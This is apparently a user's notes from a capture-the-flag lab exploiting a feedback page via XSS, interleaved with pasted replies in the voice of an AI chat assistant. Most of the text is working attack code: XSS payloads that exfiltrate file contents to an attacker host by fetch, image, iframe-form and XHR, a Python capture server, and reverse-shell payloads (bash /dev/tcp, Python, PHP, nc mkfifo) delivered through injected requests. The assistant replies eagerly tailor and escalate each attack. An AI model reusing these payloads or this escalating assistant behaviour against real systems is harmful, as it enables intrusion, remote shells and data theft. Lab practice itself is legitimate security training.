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Can you read the flag at http://10.10.3.219:8080/flag.txt?

/view_feedback

reverse_shell using xss is possible

<img src="http://10.10.67.58:5667" />

/bin/bash -i >& /dev/tcp/10.10.67.58/4444 0>&1

python3 -m http.server 80

<img src="http://10.10.67.58:5667" onerror="new Image().src='http://10.10.67.58:4444/?exec='+btoa('nc -e /bin/bash 10.10.67.58 4444')">

<script>
fetch("http://10.10.8.202:5667/?exec="+btoa("bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"));
</script>


nc -lvnp 5667
Listening on 0.0.0.0 5667
Connection received on 10.10.49.94 60706
GET /?exec=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC44LjIwMi81NjY3IDA+JjE= HTTP/1.1
Host: 10.10.8.202:5667
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:8080
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate

ls

(found attack surface)
it can be touched, reached to my system
but the shell.sh is not executed

hmm okay well

(to the target)
<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.8.202:5667/?leak="+btoa(data));  // Send flag data to your server
  });
</script>


(from my system)
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        if "leak=" in self.path:
            flag = base64.b64decode(self.path.split("leak=")[1]).decode()
            print("[*] Stolen Flag:", flag)

HTTPServer(('0.0.0.0', 5667), Handler).serve_forever()

Thanks, my friend! Now let’s rewrite everything specifically for your target (10.10.49.94) while keeping all the powerful attack techniques. 🚀

---

🎯 Objective:

You have XSS execution and want to fetch the flag from:

http://10.10.49.94:8080/flag.txt

and send it to your attacker machine at:

http://10.10.8.202:5667

---

1️⃣ Test If You Can Fetch the Flag Using fetch()

Inject this payload to debug whether fetch() works:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => alert("FLAG CONTENT: " + data))
  .catch(error => alert("ERROR: " + error));
</script>

✅ If you see an alert with text, fetch works!
❌ If you get an error, flag.txt is blocked or SOP (Same-Origin Policy) is active.

---

2️⃣ If Fetch Works, Send Flag to Your Server

If the previous step showed the flag, now exfiltrate it:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => {
    fetch("http://10.10.8.202:5667/?leak=" + btoa(data)); // Send flag to your server
  });
</script>

Step 2: Capture the Flag on Your Server

Run this on your attack machine (10.10.8.202):

from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        if "leak=" in self.path:
            flag = base64.b64decode(self.path.split("leak=")[1]).decode()
            print("[*] Stolen Flag:", flag)

HTTPServer(('0.0.0.0', 5667), Handler).serve_forever()

✅ If fetch works, this server will capture the flag!

---

3️⃣ If Fetch Fails, Try Iframe Auto-Submission

If fetch() is blocked by SOP (Same-Origin Policy), use an iframe attack:

<iframe id="steal_flag" src="http://10.10.49.94:8080/flag.txt"></iframe>
<form action="http://10.10.8.202:5667" method="POST">
  <textarea name="leak"></textarea>
</form>
<script>
setTimeout(() => {
  document.querySelector("textarea").value = document.getElementById("steal_flag").contentWindow.document.body.innerText;
  document.forms[0].submit();
}, 3000);
</script>

✅ This forces the victim’s browser to submit the flag to your server.

---

4️⃣ Use an Image-Based Exfiltration (Bypass CORS)

If fetch() fails due to CORS (Cross-Origin Resource Sharing) restrictions, try sending the flag via an image request:

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => {
    var img = new Image();
    img.src = "http://10.10.8.202:5667/?leak=" + encodeURIComponent(data);
    document.body.appendChild(img);
  });
</script>

✅ This method works when normal fetch() calls are blocked.

---

5️⃣ Redirect the Victim to Your Server With the Flag

Instead of fetching, redirect the user with the flag in the URL:

<script>
window.location.href = "http://10.10.8.202:5667/?leak=" + encodeURIComponent(document.body.innerText);
</script>

✅ If the victim visits the flag page, they automatically send you the flag!

---

6️⃣ Use an XMLHttpRequest-Based Exploit

If fetch() is blocked but XMLHttpRequest works:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://10.10.49.94:8080/flag.txt", true);
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4 && xhr.status == 200) {
    fetch("http://10.10.8.202:5667/?leak=" + encodeURIComponent(xhr.responseText));
  }
};
xhr.send();
</script>

✅ This may work if fetch() is blocked but XMLHttpRequest is not.

---

🛠️ Debugging Next Steps

Try These to Identify the Issue

1️⃣ Test If fetch() Works

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(res => res.text())
  .then(data => alert(data))
  .catch(error => alert("Error: " + error));
</script>

✅ If you see the flag, fetch() works.
❌ If you see an error, flag.txt is restricted.

2️⃣ Try Visiting flag.txt Manually

• Open http://10.10.49.94:8080/flag.txt in the victim’s browser.
  ✅ If you see the flag, the file is accessible.
  ❌ If you get a 403/404, then it is restricted.

3️⃣ Test If an Iframe Can Load the Flag

<iframe src="http://10.10.49.94:8080/flag.txt"></iframe>

✅ If the flag appears, then the browser can access it.

4️⃣ Use a Proxy to Bypass Restrictions

<script>
window.location.href = "http://10.10.49.94:8080/flag.txt";
</script>

✅ This forces the victim to visit flag.txt manually, allowing you to intercept the request.

---

🚀 Final Thoughts

🔥 Since your XSS works, you're close!
💡 Your next move is to check if fetch() works or if SOP is blocking it.
🔍 Try debugging with alerts, iframes, and different data exfiltration methods.

---

What’s Next?

• Does fetch() return an error?
• Did the iframe show anything?
• Can you manually access flag.txt?
• What do your attack server logs show?

Let me know what happens next, and I’ll help you refine the attack! 🚀🔥

It could be great, but maybe I think getting inside is right (using the same)

🔥 Getting a Reverse Shell on 10.10.49.94 Using XSS 🔥

You're 100% on the right track! Since we confirmed fetch() works and authentication is required, now we can use XSS to escalate this into Remote Code Execution (RCE) and a Reverse Shell.

✅ Why This Will Work:

• XSS works, meaning we can execute JavaScript.
• fetch() works, meaning we can communicate with 10.10.49.94.
• If the victim’s session allows requests, we can trigger code execution to spawn a reverse shell.

---

🛠️ Plan for Getting a Reverse Shell

1️⃣ Try executing system commands via XSS.
2️⃣ Deliver a payload that downloads & executes a reverse shell.
3️⃣ Start a Netcat listener to catch the connection.

---

1️⃣ Test If We Can Execute Commands via XSS

First, we need to check if the target can execute system commands.
Inject this payload:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=id"
})
  .then(res => res.text())
  .then(output => {
    fetch("http://10.10.8.202:5667/?cmd_output=" + btoa(output)); // Send output to our server
  });
</script>

✅ If this works, the server executed id, meaning RCE is possible!

---

2️⃣ Try Spawning a Reverse Shell

If command execution works, inject this reverse shell payload:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"
});
</script>

✅ This will send a reverse shell to your machine (10.10.8.202).

---

3️⃣ Start a Netcat Listener to Catch the Shell

On your attacking machine (10.10.8.202), start a Netcat listener:

nc -lvnp 5667

✅ If successful, you’ll get a shell from 10.10.49.94!

---

4️⃣ If bash -i Fails, Try Alternative Shells

If the target blocks bash -i, try these:

Python Reverse Shell

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.8.202\",5667)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"]);'"
});
</script>

PHP Reverse Shell

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=php -r '$sock=fsockopen(\"10.10.8.202\",5667);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
});
</script>

Netcat Reverse Shell (Without -e)

If nc -e is disabled, use:

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.8.202 5667 > /tmp/f"
});
</script>

✅ One of these will get you a reverse shell!

---

🛠️ If Fetch Fails, Try a Different Delivery Method

If the fetch() method is blocked, we can inject the payload into an iframe or form submission.

🔄 Iframe Execution

<iframe src="http://10.10.49.94:8080/?cmd=bash -i >& /dev/tcp/10.10.8.202/5667 0>&1"></iframe>

✅ This forces the victim to load the reverse shell command.

---

🔄 Hidden Form Submission

<form action="http://10.10.49.94:8080/" method="POST">
  <input type="hidden" name="cmd" value="bash -i >& /dev/tcp/10.10.8.202/5667 0>&1">
</form>
<script>document.forms[0].submit();</script>

✅ If the target supports form-based command execution, this will work.

---

🚀 Final Steps

1️⃣ Inject the command execution payload (id).
2️⃣ If it works, send a reverse shell payload.
3️⃣ Start a Netcat listener (nc -lvnp 5667).
4️⃣ Test different shell methods if bash -i is blocked.

---

🔥 What’s Next?

👉 Did id execute?
👉 Did any of the reverse shell methods work?
👉 Do you need alternative execution methods?

💡 Let me know what happens, and I’ll help fine-tune the attack! 🚀🔥

---

<script>
fetch("http://10.10.49.94:8080/flag.txt")
  .then(response => response.text())
  .then(flag => {
    fetch("http://10.10.8.202:5667/?flag=" + btoa(flag));
  });
</script>

<script>
fetch("http://10.10.49.94:8080/", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "cmd=curl http://10.10.8.202:8081/"
});
</script>

do bunch of things,
in anyway, it turns out actually it is very easy and also very close